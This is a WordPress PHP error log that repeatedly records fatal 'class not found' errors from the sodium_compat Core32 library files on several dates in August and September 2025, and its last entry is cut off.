[27-Aug-2025 14:51:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[27-Aug-2025 14:51:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[27-Aug-2025 14:52:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[27-Aug-2025 14:53:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[27-Aug-2025 14:53:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[27-Aug-2025 14:53:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[27-Aug-2025 14:53:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[27-Aug-2025 14:53:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[27-Aug-2025 14:53:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[27-Aug-2025 14:54:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[04-Sep-2025 00:45:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[04-Sep-2025 00:45:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[04-Sep-2025 00:45:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[04-Sep-2025 00:45:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[04-Sep-2025 00:45:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[04-Sep-2025 00:45:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[04-Sep-2025 00:45:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[04-Sep-2025 00:45:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[04-Sep-2025 00:45:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[04-Sep-2025 00:45:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[04-Sep-2025 00:45:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[04-Sep-2025 00:45:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[04-Sep-2025 00:45:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[04-Sep-2025 01:03:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[04-Sep-2025 01:03:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[04-Sep-2025 01:04:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[04-Sep-2025 01:04:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[04-Sep-2025 01:04:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[04-Sep-2025 01:04:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[04-Sep-2025 01:04:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[04-Sep-2025 01:04:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[04-Sep-2025 01:04:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[04-Sep-2025 01:04:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[04-Sep-2025 01:04:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[04-Sep-2025 01:04:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[06-Sep-2025 01:56:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[06-Sep-2025 01:56:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[06-Sep-2025 01:56:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Sep-2025 01:56:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Sep-2025 01:56:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[06-Sep-2025 01:56:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[06-Sep-2025 01:56:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[06-Sep-2025 01:56:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[06-Sep-2025 01:56:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[06-Sep-2025 01:56:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[06-Sep-2025 01:57:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[06-Sep-2025 01:57:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[06-Sep-2025 01:57:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[06-Sep-2025 02:04:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[06-Sep-2025 02:04:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[06-Sep-2025 02:04:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Sep-2025 02:05:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Sep-2025 02:05:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[06-Sep-2025 02:05:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[06-Sep-2025 02:05:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[06-Sep-2025 02:05:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[06-Sep-2025 02:05:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[06-Sep-2025 02:05:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[06-Sep-2025 02:05:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[06-Sep-2025 02:05:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[06-Sep-2025 02:05:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[09-Sep-2025 17:46:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[09-Sep-2025 17:46:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[09-Sep-2025 17:46:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[09-Sep-2025 17:46:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[09-Sep-2025 17:46:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[09-Sep-2025 17:46:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[09-Sep-2025 17:46:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[09-Sep-2025 17:46:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[09-Sep-2025 17:46:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[09-Sep-2025 17:46:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[09-Sep-2025 17:46:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[09-Sep-2025 17:46:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[09-Sep-2025 17:46:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[09-Sep-2025 17:57:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[09-Sep-2025 17:57:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[09-Sep-2025 17:57:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[09-Sep-2025 17:57:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[09-Sep-2025 17:57:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[09-Sep-2025 17:57:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[09-Sep-2025 17:57:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[09-Sep-2025 17:57:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[09-Sep-2025 17:57:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[09-Sep-2025 17:57:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[09-Sep-2025 17:57:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
